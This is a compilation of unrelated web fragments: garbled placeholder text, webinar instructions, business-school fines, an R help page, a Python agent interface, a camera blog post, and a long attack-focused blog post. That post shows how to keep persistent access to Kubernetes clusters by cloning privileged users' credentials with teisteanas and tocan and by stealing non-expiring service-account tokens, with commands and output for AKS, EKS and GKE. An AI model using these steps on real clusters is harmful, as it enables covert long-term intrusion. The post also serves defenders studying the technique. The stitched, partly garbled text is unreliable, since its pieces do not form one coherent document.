I am a very simple card. I am good at containing small bits of information. I am convenient because I require little markup to use effectip to use effectip to use effectively.
I am a very simple card. I am good at containing small bits of information. I am convenient because I require little markup to use effectip to use effectip to use effectively.
I am a very simple card. I am good at containing small bits of information. I am convenient because I require little markup to use effectip to use effectip to use effectively.


OBO-Edit WebinarThe Gizmo Project
|
|
|
The OBO-Edit webinar will use The Gizmo Project to handle Voice over IP communications. The Gizmo Project is an open source program similar to Skype. Users can communicate using their computer speakers and microphone. The Gizmo Project allows several dozen users to teleconference at once, which is why this technology has been chosen. Download and install your copy from http://www.gizmoproject.com Once the software is installed, you will to complete some initial setup tasks, such as creating a user id and password, etc. To join the conference call, dial 1-222-626-3348 in the phone number field near the top of the screen. If you are the first to join, you'll hear strange demo music and a message saying you are the first to call.  There is a mute button near the top right corner of the Gizmo window once you are connected. The Gizmo conference call system degrades quickly as more people talk, so the only way this will work is if only one or two people have their mikes unmuted at once. |


Posted on September 29, 2015
"You shall not sleep in class or take off your shoes"
Ladies and Gentlemen of the best section INSEAD has ever seen, SECTION 1!!!
First a brief explanation of champagne fines. Essentially they are small fines that serve two purposes:
1) to ensure certain behaviours in class are either encouraged or discouraged, and
2) to allow the section to build a fund that is dedicated exclusively to supporting Section 1 events (and by supporting, we of course mean providing lots of booze and tasty snacks)
The Sleeper
€999
per nod
- If you are caught sleeping
- Picture required
The Smelly Feet
€499
per instance
- If caught with your shoes off
- Picture required
The Late Doubter
€499
per question
- If asks question in the last 5 min
- Notified in Whatsapp
The Mr. Obvious
€499
per instance
- If starts question with:
- "I have a question .."
The Uber Participant
€499
per class
- If askes more than 5 questions in one class
- Notified in Whatsapp
Most Useless Question
€999
per week
- At the end of each week, the academic and social reps will vote for the comment that did the least to advance classroom discussion / dumbest comment
- Voted in Whatsapp
Best Contribution
1 beer
per week
- At the end of each week, the academic and social reps will vote for the comment that did the least to advance classroom discussion / dumbest comment
- Voted in Whatsapp


predictd.Rd
Predict d or fragment size from alignment results. In case of PE data, report the average insertion/fragment size from all pairs. Will NOT filter duplicates
predictd( ifile, gsize = "hs", format = "AUTO", plot = file.path(tempdir(), "predictd_mode.pdf"), tsize = NULL, bw = 300, d_min = 20, mfold = c(5, 50), buffer_size = 1e+05, verbose = 2L, log = TRUE )
| ifile | Input file(s). |
|---|---|
| gsize | Effective genome size. It can be 1.0e+9 or<PHONE_NUMBER>, or shortcuts:'hs' for human (2.7e9), 'mm' for mouse (1.87e9), 'ce' for C. elegans (9e7) and 'dm' for fruitfly (1.2e8), Default:hs. |
| format | Input file format. |
| plot | PDF path of peak model and correlation plots. |
| tsize | Tag size. This will override the auto detected tag size. |
| bw | Band width for picking regions to compute fragment size. This value is only used while building the shifting model. DEFAULT: 300 |
| d_min | Minimum fragment size in basepair. Any predicted fragment size less than this will be excluded. DEFAULT: 20 |
| mfold | Select the regions within MFOLD range of high-confidence enrichment ratio against background to build model. Fold-enrichment in regions must be lower than upper limit, and higher than the lower limit. Use as "-m 10 30". DEFAULT:5 50 |
| buffer_size | Buffer size for incrementally increasing internal array size to store reads alignment information. DEFAULT: 100000. |
| verbose | Set verbose level of runtime message. 0: only show critical message, 1: show additional warning message, 2: show process information, 3: show debug messages. DEFAULT:2 |
| log | Whether to capture log. |
predicted fragment sizes.
eh <- ExperimentHub::ExperimentHub() CHIP <- eh[["EH4558"]] predictd(CHIP, d_min = 10, gsize=5.2e+7, plot = NULL)


Web-Development
I build responsive, clean and elegant websites for optimal user experience.
Hand-Coded HTML
My focus is writing clean, well formatted, semantic HTML5 that is easy to read, collaborate, trouble-shoot and access.
Well-Organized CSS
I keep my CSS lean and fast to load, and I stay up to date on current best practices.
Ease Converting PSD
I quickly & accurately convert a designer's PSD and wireframe into a pixel-perfect webpage.
Writing & Editing
From basic editing for grammar and readibility, to a total re-imagining and rewriting of your work, I can offer feedback, improve your clarity and enhance your message.
Research Manuscripts
Publishing research requires clarity and precision. With a strong background in research science, I can edit your manuscript to effectively communicate your study design, methods, and results.
Admissions Essays
Let college and graduate schools know the real you. As a former admissions reader, I help draw out your story, transforming your essay into a memorable and enjoyable read while maintaining your voice.
Resumes and Cover Letters
Make an unforgettable first impression with a resume and cover letter that stands out. I will highlight your unique skills and qualifications with concise language and sleek design.


About JOPLAN: We have been around for a while, you may have even been to one of our epic LAN parties! We are mostly gamers from the 4-State Area and Joplin MO, but we have members from all over! Anyone can join our steam group or discord and play with us, only rules are be respectful and keep everything PG.


Vmware Remote Console 7 0 Overview Nolabnoparty
Installing And Using The Vmware Remote Console Plug In Virtuatopia
Vmware Remote Console Vmrc Is Now Available Vm Spot
Vmware Remote Console Download
Vmware Remote Console Plug In ダウンロード Donnauua3 S Diary
Standalone Vmrc Vm Remote Console Re Introduced In Vsphere 5 5 Update 2b
Vsphere Remote Console Download Koreanyellow
Vmware Remote Console Plugin Download For Mac
Tech Kiranangal Vmware Vsphere 6 7 Web Client Mount Local Iso Image Or Client Device To Virtual Machine
Vmrc Standalone Vmware Remote Console Unixarena
New Server Build Question Vmware
What Is Vmware Remote Console And Its Differences With Web Based Console Esx Virtualization
Vmrc Download 6 5 Renewintelligence
Vmware Vmrc Linux X64
3 1 Vmware Plug In の追加 Enterprise Cloud Knowledge Centerenterprise Cloud1 0 スタートアップ構築ガイド カスタマーポータル Ver2 0版 3 2 2 ドキュメント
How To Generate Vm Remote Console Url For Vsphere 5 X Web Client
Vsphere 6 5 Ga Vmware Vmrc Exe Failed To Install Hcmon Driver Life In A Virtual Space
Leoclocbanim Vmware Download Remote Console
Plain Virtualization Vsphere 6 0 Web Client Integration Plug In Bug Fix
Download Free Vmware Remote Console For Macos
Vmware Vmrc Win32 X64 Exe Download
Vmware Vsphere Web Client Console On Ubuntu Linux 11 04 The Sysadmins
How To Enable Adobe Flash For Vsphere Computer Science
Plugin Management Ui In The Vsphere Client 6 7 Update 2 Vmware Vsphere Blog
Quick Tip Enabling Html5 Vm Console In The Vsphere Web Client For Ie
Manage Snapcenter Plug In For Vmware Vsphere


---
layout: post
title: Guess What The Cat Drug In - A Foveon
tags:
- Foveon
- General Photography
- Sigma DP1s
- small cameras
status: publish
type: post
published: true
meta:
_edit_last: "2"
aktt_notify_twitter: "yes"
_edit_lock: "1285099409"
_thumbnail_id: "2522"
ghostpool_post_template: Default
ghostpool_link: Full Size Image/Video
ghostpool_post_image: http://photo.rwboyer.com/wp-content/uploads/2010/09/P1000377-full.jpg
ghostpool_post_faded_image: http://photo.rwboyer.com/wp-content/uploads/2010/09/P1000377-full.jpg
ghostpool_circle_image: http://photo.rwboyer.com/wp-content/uploads/2010/09/P1000377-full.jpg
aktt_tweeted: "1"
_wp_old_slug: ""
dsq_thread_id: "380788334"
---
[image title="P1000377-full" size="medium" id="2522" align="left" linkto="viewer" ]Actually a Foveon sensor with a DP1s camera wrapped around it. I have been playing with these Stigma, no Enigma, no Sigma cameras with strange and wonderful cameras for years. I have never actually been nuts enough to buy them. I have played with them through other photographer friends that are the lunatic fringe types.
To tell you the truth I have actually liked the color and image look they produce for SOME things but the cameras have been so bad, so poorly designed, so crude, so clumsily implemented, so ugly, and priced so high that I never dreamed of actually buying them. Check out the used market - even used these lunatics that buy them want crazy money for 10 year old digital technology that was poorly done then.
So what possessed me? Well for less than 300 bucks how could I refuse. My rationale is that it actually saves me money because it takes up so much space in my new hard-limit camera bag that it will stop me from buying something for like a 1000 bucks. That's a 700 savings right there. That and I have convinced myself if I really don't want it I will sell it on eBay for like 400 bucks to these Foveon maniacs about a month after Amazon runs out of them at this price.
I would tell you what I think but the battery is charging right now. We'll have to wait a little. Stay tuned.
RB
Ps. I told you I was on a small camera binge - this is just a warm up for that Fuji X100.


#
# Copyright (c) 2017 Intel Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
from typing import Union, List, Dict
import numpy as np
from rl_coach.core_types import EnvResponse, ActionInfo, RunPhase, PredictionType, ActionType, Transition
from rl_coach.saver import SaverCollection
class AgentInterface(object):
def __init__(self):
self._phase = RunPhase.HEATUP
self._parent = None
self.spaces = None
@property
def parent(self):
"""
Get the parent class of the agent
:return: the current phase
"""
return self._parent
@parent.setter
def parent(self, val):
"""
Change the parent class of the agent
:param val: the new parent
:return: None
"""
self._parent = val
@property
def phase(self) -> RunPhase:
"""
Get the phase of the agent
:return: the current phase
"""
return self._phase
@phase.setter
def phase(self, val: RunPhase):
"""
Change the phase of the agent
:param val: the new phase
:return: None
"""
self._phase = val
def reset_internal_state(self) -> None:
"""
Reset the episode parameters for the agent
:return: None
"""
raise NotImplementedError("")
def train(self) -> Union[float, List]:
"""
Train the agents network
:return: The loss of the training
"""
raise NotImplementedError("")
def act(self) -> ActionInfo:
"""
Get a decision of the next action to take.
The action is dependent on the current state which the agent holds from resetting the environment or from
the observe function.
:return: A tuple containing the actual action and additional info on the action
"""
raise NotImplementedError("")
def observe(self, env_response: EnvResponse) -> bool:
"""
Gets a response from the environment.
Processes this information for later use. For example, create a transition and store it in memory.
The action info (a class containing any info the agent wants to store regarding its action decision process) is
stored by the agent itself when deciding on the action.
:param env_response: a EnvResponse containing the response from the environment
:return: a done signal which is based on the agent knowledge. This can be different from the done signal from
the environment. For example, an agent can decide to finish the episode each time it gets some
intrinsic reward
"""
raise NotImplementedError("")
def save_checkpoint(self, checkpoint_prefix: str) -> None:
"""
Save the model of the agent to the disk. This can contain the network parameters, the memory of the agent, etc.
:param checkpoint_prefix: The prefix of the checkpoint file to save
:return: None
"""
raise NotImplementedError("")
def get_predictions(self, states: Dict, prediction_type: PredictionType) -> np.ndarray:
"""
Get a prediction from the agent with regard to the requested prediction_type. If the agent cannot predict this
type of prediction_type, or if there is more than possible way to do so, raise a ValueException.
:param states:
:param prediction_type:
:return: the agent's prediction
"""
raise NotImplementedError("")
def set_incoming_directive(self, action: ActionType) -> None:
"""
Pass a higher level command (directive) to the agent.
For example, a higher level agent can set the goal of the agent.
:param action: the directive to pass to the agent
:return: None
"""
raise NotImplementedError("")
def collect_savers(self, parent_path_suffix: str) -> SaverCollection:
"""
Collect all of agent savers
:param parent_path_suffix: path suffix of the parent of the agent
(could be name of level manager or composite agent)
:return: collection of all agent savers
"""
raise NotImplementedError("")
def handle_episode_ended(self) -> None:
"""
Make any changes needed when each episode is ended.
This includes incrementing counters, updating full episode dependent values, updating logs, etc.
This function is called right after each episode is ended.
:return: None
"""
raise NotImplementedError("")
def run_off_policy_evaluation(self) -> None:
"""
Run off-policy evaluation estimators to evaluate the trained policy performance against a dataset.
Should only be implemented for off-policy RL algorithms.
:return: None
"""
raise NotImplementedError("")


Follwing on from the PCI Series I thought it’d be nice to do a bit more of an attack focused piece for a change!
I noticed that Microsoft have released a new version of the their threat matrix for Kubernetes, looking at the Persistence section, while they covered some of the usual suspects like static pods, there were some options that attackers can likely use to keep access to clusters that they didn’t cover, around the use of Kubernetes APIs to use or create long-lived credentials which clone system accounts.
This kind of persistence technique would apply where the attacker has temporary access to relatively privileged credentials and wants to ensure that they retain access for the long term. this could be the case where an attacker has gained access to an administrator laptop, or where a disgruntled insider wants to retain access perhaps after they have left the organisation.
This kind of attack is made easier by the fact that the major managed Kubernetes distributions (GKE, EKS, AKS) all place the API server on the Internet by default. Whilst their hardening guides might mention removing it from the Internet, looking at the current statistics from Shodan we can see plenty of Kubernetes hosts exposed to the Internet from the major cloud providers, and plenty of other hosts from smaller providers.
Options for Persistent credentials.
There are effectively four ways, we can achieve the goal of having a long lasting set of privileged credentials for attacker persistence.
The first option is to grab the cluster CA certificate and key which then lets us mint new credentials for any user in the cluster. This one notably only works with unmanaged clusters (so no running it on GKE, EKS or AKS). I’ve covered this one before, but it’s worth mentioning again as it’s a pretty easy way to get long lived credentials in the right kind of environment.
The second one is to use the Kubernetes CSR API to create new long-lived client certificates. Here we’ll want to find a high privileged user in the cluster and effectively create a clone set of credentials for them. Kubernetes does not have a user database, so this is perfectly possible and the auditing tools won’t be able to tell the difference between the original and the clone.
The third option is to use the TokenRequest API to create new long-lived service account token. As with the CSR option, we need to find a high privileged service account in the cluster and then create a clone set of credentials for it.
The fourth one is the simplest and is mentioned in the threat matrix, which is that in older Kubernetes clusters (v1.23 and below) we can just access the service account token secrets associated with system accounts, grab the token and then we can use that to authenticate to the API server. Notably these secrets do not expire and the only way to revoke their access is to delete the associated service account. Where we’re stealing the token of a core controller, that could be a bit of a tricky thing for the defender to fix.
Find a target user/service account to clone
Effectively all these techniques start from the same point which is finding an existing high privileged account which is part of the operational workflow of the cluster, so that we can retrieve an existing credential or create a set of clone credentials that we can use.
To do this we’ll use eathar which is a Kubernetes security scanner and has some checks for privileged RBAC access.
We’ll be using clusters setup with standard defaults with whatever the vendor currently offers.
- Kubeadm 1.25 (KinD)
- AKS 1.24.6
- EKS v1.23.13-eks-fb459a0
- GKE v1.24.7-gke.900
Kubeadm 1.25 Cluster
Starting with a vanilla Kubeadm 1.25 cluster, we can start by looking for wildcard users. These are users that have access to all resources in the cluster, and are effectively the same as having cluster admin access.
eathar rbac wildcardusers
Findings for the Users with wildcard access to all resources check
ClusterRoleBinding cluster-admin
Subjects:
Kind: Group, Name: system:masters
RoleRef:
Kind: ClusterRole, Name: cluster-admin, APIGroup: rbac.authorization.k8s.io
This isn’t actually really useful as the only subject is a Group, and we can’t use that to create a clone set of credentials, we really need a user or service account.
The next thing we can try is looking for users who have “get secrets” at the cluster level. These users can retrieve any secret from the cluster, which is pretty useful with older clusters as we can use it for retrieving any service account tokens (as well as anything else held as secrets)
eathar rbac getsecretsusers
Findings for the Users with access to secrets check
ClusterRoleBinding system:controller:expand-controller
Subjects:
Kind: ServiceAccount, Name: expand-controller, Namespace: kube-system
RoleRef:
Kind: ClusterRole, Name: system:controller:expand-controller, APIGroup: rbac.authorization.k8s.io
------------------------
ClusterRoleBinding system:controller:persistent-volume-binder
Subjects:
Kind: ServiceAccount, Name: persistent-volume-binder, Namespace: kube-system
RoleRef:
Kind: ClusterRole, Name: system:controller:persistent-volume-binder, APIGroup: rbac.authorization.k8s.io
------------------------
ClusterRoleBinding system:kube-controller-manager
Subjects:
Kind: User, Name: system:kube-controller-manager
RoleRef:
Kind: ClusterRole, Name: system:kube-controller-manager, APIGroup: rbac.authorization.k8s.io
------------------------
ClusterRoleBinding system:node
Subjects:
RoleRef:
Kind: ClusterRole, Name: system:node, APIGroup: rbac.authorization.k8s.io
------------------------
This one shows some better options, notably the system:kube-controller-manager
user, and the two service accounts. The system:node
binding isn’t useful as (unusually) there are no subjects!
Looking at the rights for system:kube-controller-manager
we can see that not only does it have get secrets at the cluster level but also create on serviceaccounts/token which is useful for creating more credentials.
kubectl auth can-i --list --as system:kube-controller-manager
Resources Non-Resource URLs Resource Names Verbs
secrets [] [] [create delete get update]
serviceaccounts [] [] [create get update]
events [] [] [create patch update]
events.events.k8s.io [] [] [create patch update]
endpoints [] [] [create]
serviceaccounts/token [] [] [create]
tokenreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
subjectaccessreviews.authorization.k8s.io [] [] [create]
leases.coordination.k8s.io [] [] [create]
endpoints [] [kube-controller-manager] [get update]
leases.coordination.k8s.io [] [kube-controller-manager] [get update]
then looking at the rights for the two service accounts the persistent-volume-binder controller has some pretty useful rights including create pod and get secrets
kubectl auth can-i --list --as system:serviceaccount:kube-system:persistent-volume-binder
Resources Non-Resource URLs Resource Names Verbs
persistentvolumes [] [] [create delete get list update watch]
pods [] [] [create delete get list watch]
endpoints [] [] [create delete get update]
services [] [] [create delete get]
events.events.k8s.io [] [] [create patch update]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
persistentvolumeclaims [] [] [get list update watch]
storageclasses.storage.k8s.io [] [] [get list watch]
nodes [] [] [get list]
secrets [] [] [get]
persistentvolumeclaims/status [] [] [update]
persistentvolumes/status [] [] [update]
events [] [] [watch create patch update]
AKS 1.24.6
Let’s take a look at how this would work in an AKS cluster. Let’s start by looking for wildcard users.
eathar rbac wildcardusers
Findings for the Users with wildcard access to all resources check
ClusterRoleBinding aks-cluster-admin-binding
Subjects:
Kind: User, Name: clusterAdmin
Kind: User, Name: clusterUser
RoleRef:
Kind: ClusterRole, Name: cluster-admin, APIGroup: rbac.authorization.k8s.io
------------------------
ClusterRoleBinding cluster-admin
Subjects:
Kind: Group, Name: system:masters
RoleRef:
Kind: ClusterRole, Name: cluster-admin, APIGroup: rbac.authorization.k8s.io
------------------------
Well, that was easy :) There are two user accounts clusterAdmin
and clusterUser
which have full cluster admin access, so if we create a certificate for either of those we’ll have full cluster admin access. If we want a service account to clone we can look for principals who have get secrets at the cluster level
eathar rbac getsecretsusers
Findings for the Users with access to secrets check
ClusterRoleBinding aks-service-rolebinding
Subjects:
Kind: User, Name: aks-support
RoleRef:
Kind: ClusterRole, Name: aks-service, APIGroup: rbac.authorization.k8s.io
------------------------
ClusterRoleBinding csi-azurefile-node-secret-binding
Subjects:
Kind: ServiceAccount, Name: csi-azurefile-node-sa, Namespace: kube-system
RoleRef:
Kind: ClusterRole, Name: csi-azurefile-node-secret-role, APIGroup: rbac.authorization.k8s.io
------------------------
ClusterRoleBinding system:aks-client-nodes
Subjects:
Kind: Group, Name: system:nodes
RoleRef:
Kind: ClusterRole, Name: system:node, APIGroup: rbac.authorization.k8s.io
------------------------
ClusterRoleBinding system:azure-cloud-provider-secret-getter
Subjects:
Kind: ServiceAccount, Name: azure-cloud-provider, Namespace: kube-system
RoleRef:
Kind: ClusterRole, Name: system:azure-cloud-provider-secret-getter, APIGroup: rbac.authorization.k8s.io
------------------------
ClusterRoleBinding system:controller:expand-controller
Subjects:
Kind: ServiceAccount, Name: expand-controller, Namespace: kube-system
RoleRef:
Kind: ClusterRole, Name: system:controller:expand-controller, APIGroup: rbac.authorization.k8s.io
------------------------
ClusterRoleBinding system:controller:persistent-volume-binder
Subjects:
Kind: ServiceAccount, Name: persistent-volume-binder, Namespace: kube-system
RoleRef:
Kind: ClusterRole, Name: system:controller:persistent-volume-binder, APIGroup: rbac.authorization.k8s.io
------------------------
ClusterRoleBinding system:kube-controller-manager
Subjects:
Kind: User, Name: system:kube-controller-manager
RoleRef:
Kind: ClusterRole, Name: system:kube-controller-manager, APIGroup: rbac.authorization.k8s.io
------------------------
ClusterRoleBinding system:node
Subjects:
RoleRef:
Kind: ClusterRole, Name: system:node, APIGroup: rbac.authorization.k8s.io
------------------------
ClusterRoleBinding system:persistent-volume-binding
Subjects:
Kind: ServiceAccount, Name: persistent-volume-binder, Namespace: kube-system
RoleRef:
Kind: ClusterRole, Name: system:persistent-volume-secret-operator, APIGroup: rbac.authorization.k8s.io
------------------------
We can see plenty of options to clone there, including the two we saw in Kubeadm.
EKS v1.23.13-eks-fb459a0
First up looking for wildcard users.
eathar rbac wildcardusers
Findings for the Users with wildcard access to all resources check
ClusterRoleBinding cluster-admin
Subjects:
Kind: Group, Name: system:masters
RoleRef:
Kind: ClusterRole, Name: cluster-admin, APIGroup: rbac.authorization.k8s.io
------------------------
ClusterRoleBinding eks:addon-cluster-admin
Subjects:
Kind: User, Name: eks:addon-manager
RoleRef:
Kind: ClusterRole, Name: cluster-admin, APIGroup: rbac.authorization.k8s.io
------------------------
We see that there’s a user account eks:addon-manager
which has full cluster admin access. Looking at for principals with the rights to get secrets we get the following:
eathar rbac getsecretsusers
Findings for the Users with access to secrets check
ClusterRoleBinding eks:addon-manager
Subjects:
Kind: User, Name: eks:addon-manager
RoleRef:
Kind: ClusterRole, Name: eks:addon-manager, APIGroup: rbac.authorization.k8s.io
------------------------
ClusterRoleBinding system:controller:expand-controller
Subjects:
Kind: ServiceAccount, Name: expand-controller, Namespace: kube-system
RoleRef:
Kind: ClusterRole, Name: system:controller:expand-controller, APIGroup: rbac.authorization.k8s.io
------------------------
ClusterRoleBinding system:controller:persistent-volume-binder
Subjects:
Kind: ServiceAccount, Name: persistent-volume-binder, Namespace: kube-system
RoleRef:
Kind: ClusterRole, Name: system:controller:persistent-volume-binder, APIGroup: rbac.authorization.k8s.io
------------------------
ClusterRoleBinding system:kube-controller-manager
Subjects:
Kind: User, Name: system:kube-controller-manager
RoleRef:
Kind: ClusterRole, Name: system:kube-controller-manager, APIGroup: rbac.authorization.k8s.io
------------------------
ClusterRoleBinding system:node
Subjects:
RoleRef:
Kind: ClusterRole, Name: system:node, APIGroup: rbac.authorization.k8s.io
------------------------
For service accounts we’ve got the same ones as we had with Kubeadm and AKS.
GKE v1.24.7-gke.900
Looking at GKE for wildcard users, we can see the following:
eathar rbac wildcardusers
Findings for the Users with wildcard access to all resources check
ClusterRoleBinding cluster-admin
Subjects:
Kind: Group, Name: system:masters
RoleRef:
Kind: ClusterRole, Name: cluster-admin, APIGroup: rbac.authorization.k8s.io
------------------------
ClusterRoleBinding storage-version-migration-migrator-v2
Subjects:
Kind: User, Name: system:storageversionmigrator
RoleRef:
Kind: ClusterRole, Name: cluster-admin, APIGroup: rbac.authorization.k8s.io
So we’ve got a nice user with cluster-admin access to use for client certificates. Looking for users with get secrets access we get the following:
ClusterRoleBinding kubelet-cluster-admin
Subjects:
RoleRef:
Kind: ClusterRole, Name: system:node, APIGroup: rbac.authorization.k8s.io
------------------------
ClusterRoleBinding system:controller:expand-controller
Subjects:
Kind: ServiceAccount, Name: expand-controller, Namespace: kube-system
RoleRef:
Kind: ClusterRole, Name: system:controller:expand-controller, APIGroup: rbac.authorization.k8s.io
------------------------
ClusterRoleBinding system:controller:persistent-volume-binder
Subjects:
Kind: ServiceAccount, Name: persistent-volume-binder, Namespace: kube-system
RoleRef:
Kind: ClusterRole, Name: system:controller:persistent-volume-binder, APIGroup: rbac.authorization.k8s.io
------------------------
ClusterRoleBinding system:glbc-status
Subjects:
Kind: User, Name: system:controller:glbc
Kind: User, Name: system:l7-lb-controller
RoleRef:
Kind: ClusterRole, Name: system:glbc-status, APIGroup: rbac.authorization.k8s.io
------------------------
ClusterRoleBinding system:kube-controller-manager
Subjects:
Kind: User, Name: system:kube-controller-manager
RoleRef:
Kind: ClusterRole, Name: system:kube-controller-manager, APIGroup: rbac.authorization.k8s.io
------------------------
ClusterRoleBinding system:node
Subjects:
RoleRef:
Kind: ClusterRole, Name: system:node, APIGroup: rbac.authorization.k8s.io
------------------------
So we’ve got our usual persistent-volume-binder
service account and some other options as well.
Creating a cloned user account using Teisteanas
Now we’ve got our list of users and service accounts we can clone, we can use Teisteanas to create Kubeconfigs which use client certificate authentication for users. You can do these steps manually, but Teisteanas makes it easy to do this quickly.
Kubeadm 1.25
Here we’ll create a clone for our system:kube-controller-manager
user account.
teisteanas -username system:kube-controller-manager
Certificate Successfully issued to username system:kube-controller-manager in group none , signed by kubernetes, valid until 2023-12-22 10:27:09 +0000 UTC
From this we can see it succeeded in creating the kubeconfig and the expiry is 12 months, which is the default. We can now use this kubeconfig to authenticate to the cluster.
kubectl --kubeconfig system\:kube-controller-manager.config auth can-i --list
Resources Non-Resource URLs Resource Names Verbs
secrets [] [] [create delete get update]
serviceaccounts [] [] [create get update]
events [] [] [create patch update]
events.events.k8s.io [] [] [create patch update]
endpoints [] [] [create]
serviceaccounts/token [] [] [create]
tokenreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
subjectaccessreviews.authorization.k8s.io [] [] [create]
leases.coordination.k8s.io [] [] [create]
We can see we’ve got plenty of rights. We can also use this kubeconfig to authenticate to the cluster and use it to create a new service accounts if we wanted to.
AKS 1.24.6
With AKS, the obvious target is the clusterAdmin
user account.
teisteanas -username clusterAdmin
Certificate Successfully issued to username clusterAdmin in group none , signed by ca, valid until 2023-12-22 10:29:41 +0000 UTC
Again we get a one year lifetime on our credential.
kubectl --kubeconfig clusterAdmin.config auth can-i --list
Resources Non-Resource URLs Resource Names Verbs
*.* [] [] [*]
[*] [] [*]
Checking the rights, we get that delightful *.*
which means we have full cluster admin access.
EKS v1.23.13-eks-fb459a0
Trying our client certificate generation technique on EKS, we get the following:
teisteanas -username eks:addon-manager
2022/12/22 16:15:42 Error issuing cert, are you trying this with EKS?
This is because EKS has effectively disabled the CSR API for certificates that can authenticate to the Kubernetes API server. This isn’t officially in their documentation (that I can find) but there’s a Github issue which confirms this.
GKE v1.24.7-gke.900
For GKE we’re going to use our system:storageversionmigrator
user account.
teisteanas -username system:storageversionmigrator
Certificate Successfully issued to username system:storageversionmigrator in group none , signed by e3d7d8ea-bc41-4e34-a0d4-e7b7fdbbc66b, valid until 2027-12-21 18:02:26 +0000 UTC
There’s an interesting difference here, which is that the certificate is valid for 5 years by default, which is a nice level of persistence!
Checking the access we can confirm we have cluster-admin
ubectl --kubeconfig system\:storageversionmigrator.config auth can-i --list
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources Non-Resource URLs Resource Names Verbs
*.* [] [] [*]
[*] [] [*]
So that works pretty well, as it did with AKS and Kubeadm.
Cloning service account credentials with tòcan
If we want to create an credential based on a service account, we can do that using the TokenRequest API. Tòcan is a tool which just wraps the API and automates creating the Kubeconfig file.
Kubeadm 1.25
For Kubeadm we’ll create a token for the persistent-volume-binder
service account in the kube-system
namespace, and look to create the token for 1 year.
tocan -service-account persistent-volume-binder -namespace kube-system -expiration-seconds 31536000
Kubeconfig file persistent-volume-binder.kubeconfig created for service account persistent-volume-binder in namespace kube-system
We can then check the rights with kubectl to confirm it worked ok
kubectl --kubeconfig persistent-volume-binder.kubeconfig auth can-i --list
Resources Non-Resource URLs Resource Names Verbs
persistentvolumes [] [] [create delete get list update watch]
pods [] [] [create delete get list watch]
endpoints [] [] [create delete get update]
services [] [] [create delete get]
events.events.k8s.io [] [] [create patch update]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
persistentvolumeclaims [] [] [get list update watch]
storageclasses.storage.k8s.io [] [] [get list watch]
nodes [] [] [get list]
secrets [] [] [get]
persistentvolumeclaims/status [] [] [update]
persistentvolumes/status [] [] [update]
events [] [] [watch create patch update]
We can also check the expiration of the token. Probably the easiest way to do this is just paste the token into jwt.io
From this the exp
value of<PHONE_NUMBER>
can be decoded to show that the token expires on Friday, 22 December 2023 10:47:22.
AKS 1.24.6
For AKS we can use the same service account as it was one of the ones returned in our eathar
checks for access to secrets at the cluster level, and this works the same way, including the 1 year expiration, which works fine.
EKS v1.23.13-eks-fb459a0
For EKS we can again create a token for the same service account and it will issue ok. However looking at the exp
field of the token we can see it’s only valid for 24 hours, a far cry from the 1 year we were expecting. It appears that AWS have decided to limit the maximum duration of issued tokens. So whilst this technique works, it’d be quite a bit more noisy as it would require daily refreshes.
GKE v1.24.7-gke.900
for GKE we can use the same service account again as it was one of the ones returned with our eathar
checks.
tocan -service-account persistent-volume-binder -namespace kube-system -expiration-seconds 31536000
W1222 18:04:58.428287 96628 warnings.go:70] requested expiration of 31536000 seconds shortened to 172800 seconds
Kubeconfig file persistent-volume-binder.kubeconfig created for service account persistent-volume-binder in namespace kube-system
Interestingly we get a warning and GKE has done something similar to EKS in that it’s limited the maximum duration of issued tokens, this time to two days. So again, whilst this technique works, it’d be quite a bit more noisy as it would require refreshes every other day.
Stealing secrets from existing service accounts
As mentioned this one only works in older clusters as the Kubernetes project have been working to reduce the use of non-expiring service account secrets. Where we do find a cluster, we don’t need any new tooling to create our Kubeconfig file as there’s a krew plugin called view-serviceaccount-kubeconfig which we can use.
Kubeadm 1.25
Checking for secrets in kube-system
we can see that they’re not there (as expected)
kubectl get secrets -n kube-system
NAME TYPE DATA AGE
bootstrap-token-abcdef bootstrap.kubernetes.io/token 6 6h33m
so if we try to create a kubeconfig file we get an error
kubectl view-serviceaccount-kubeconfig persistent-volume-binder -n kube-system
Error: serviceaccount persistent-volume-binder has no secrets
AKS 1.24.6
This technique doesn’t work in AKS as there are no secrets for service accounts in 1.24
EKS v1.23.13-eks-fb459a0
The default EKS cluster that we got created is running 1.23, so this technique still works
kubectl view-serviceaccount-kubeconfig persistent-volume-binder -n kube-system > persistent-volume-binder-secret.kubeconfig
We can then test the kubeconfig file to make sure it works
kubectl --kubeconfig persistent-volume-binder-secret.kubeconfig auth can-i --list
Resources Non-Resource URLs Resource Names Verbs
persistentvolumes [] [] [create delete get list update watch]
pods [] [] [create delete get list watch]
endpoints [] [] [create delete get update]
services [] [] [create delete get]
events.events.k8s.io [] [] [create patch update]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
persistentvolumeclaims [] [] [get list update watch]
storageclasses.storage.k8s.io [] [] [get list watch]
nodes [] [] [get list]
Decoding the token we see something interesting about the old secrets based tokens, which is… no exp
parameter, as they don’t expire!
GKE v1.24.7-gke.900
This technique doesn’t work in GKE as there are no secrets for service accounts in 1.24
Preventing and detecting these attacks
If you’re on the cluster operator side of things, how would you prevent or detect these attacks? Both service account tokens and client certificates are part of core Kubernetes and can’t be disabled. Client certificate can’t be revoked and revoking service account tokens requires deleting the attached service account, which is tricky if what’s been cloned is a core service account.
I could give the standard security answer of “just make sure people don’t have access to those APIs” but that’s probably not very practical in reality for a lot of clusters.
Keeping the API server off the Internet would definitely help as it makes it harder for the attacker to use their cloned credentials.
